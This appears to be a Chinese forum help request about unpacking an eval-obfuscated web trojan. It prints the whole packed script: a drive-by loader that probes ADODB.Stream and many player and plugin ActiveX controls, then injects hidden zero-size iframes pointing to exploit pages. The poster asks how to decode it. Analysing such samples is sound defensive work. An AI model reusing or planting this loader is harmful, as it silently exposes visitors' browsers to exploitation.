关于一个网页木马解密的分析
<script language="javaScript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):
c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\
w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('G I(){3.5()}j{4 e;4 p=(3.F("c")
);p.B("A","C:E-D-J-K-H");4 r=p.s("q.x","")}k(e){};l{i(e!="[c d]"){3.5("<2 7=0 6=0 a=y.9 8=0></2>")}j{4 f;4 z=n o("w.t")}
k(f){};l{i(f!="[c d]"){3.5("<2 7=0 6=0 a=u.9 8=0></2>")}}j{4 g;4 m=n o("v.L.1")}k(g){};l{i(g!="[c d]"){3.5("<2 7=0 6=0 a
=m.9 8=0></2>")}}j{4 h;4 m=n o("10.Y.1")}k(h){};l{i(h!="[c d]"){3.5("<2 7=0 6=0 a=Z.9 8=0></2>");3.5("<2 7=0 6=0
a=13.9 8=0></2>")}}j{4 b;4 m=n o("12")}k(b){};l{i(b!="[c d]"){3.5("<2 7=0 6=0 a=11.9 8=0></2>")}}j{4 b;4 m=n o("X.
P")}k(b){};l{i(b!="[c d]"){3.5("<2 7=0 6=0 a=Q.9 8=0></2>")}}j{4 b;4 m=n o("O.M")}k(b){};l{i(b!="[c d]"){3.5("<2 7=0 6
=0 a=N.9 8=0></2>")}}3.5("<2 7=0 6=0 a=R.9 8=0></2>");3.5("<2 7=0 6=0 a=V.9 8=0></2>");3.5("<2 7=0 6=0 a=
W.9 8=0></2>");3.5("<2 7=0 6=0 a=U.9 8=0></2>");3.5("<2 7=0 6=0 a=S.9 8=0></2>");3.5("<2 7=0 6=0 a=T.9 8=
0></2>")}',62,66,'||iframe|document|var|write|height|width|frameborder|htm|src|ii|object|Error|||||if|try|catch|finally|p
ps|new|ActiveXObject|ado|Adodb|as|createobject|StormPlayer|yyfb|POWERPLAYER|MPS|Stream|06014|storm|cl
assid|setAttribute|clsid|65A3|BD96C556|createElement|function|00C04FC29E36|init|11D0|983A|PowerPlayerCtrl|
WcUpload|yahoo|YWcUpl|Vod|xunlei5|realplay|0733|baidu|07004|IENoRun|xunlei|DPClient|GLChatCtrl|lz_new|G
LCHAT|cx|Pdg2|lz'.split('|'),0,{}))
</script>
这是一个Eval加密的网页木马,我的问题是我把开头的eval已经替换了alert,但怎么运行没反应啊?
别人用alert一下就解了,我怎么就不行,纳闷。要他告诉一下怎么弄的也不肯,烦。。。。
各位大侠帮我解一下密吧,顺便把方法提供一下(详细一点的)。
PS:木马地址已过期或不存在了,请放心测试。。。。
用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)